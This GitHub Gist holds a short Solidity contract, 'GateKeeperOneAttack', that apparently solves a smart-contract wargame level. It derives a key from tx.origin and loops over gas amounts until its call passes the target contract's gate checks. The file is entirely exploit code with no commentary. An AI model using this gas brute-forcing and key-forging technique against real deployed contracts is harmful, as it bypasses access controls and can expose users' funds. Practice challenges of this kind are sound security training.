Last active
March 22, 2022 10:51
-
-
Save hackingbeauty/81410d738aa35276a27f699b99a44b0b to your computer and use it in GitHub Desktop.
GateKeeperOneAttack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.6.6; | |
import './GateKeeperOne.sol'; | |
import "https://github.com/OpenZeppelin/zeppelin-solidity/contracts/math/SafeMath.sol"; | |
contract GateKeeperOneAttack { | |
using SafeMath for uint256; | |
bytes8 key; | |
GatekeeperOne gateKeeper; | |
constructor(address _targetAddr) public { | |
uint16 txOrigin16 = uint16(tx.origin); | |
key = bytes8(uint64(txOrigin16) + 2 ** 32); | |
gateKeeper = GatekeeperOne(_targetAddr); | |
} | |
function letMeIn() public { | |
bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"), key); | |
for (uint256 i = 0; i < 120; i++) { | |
(bool result, bytes memory data) = address(gateKeeper).call.gas( | |
i + 150 + 8191 * 3 | |
)(encodedParams); | |
if(result) { break; } | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment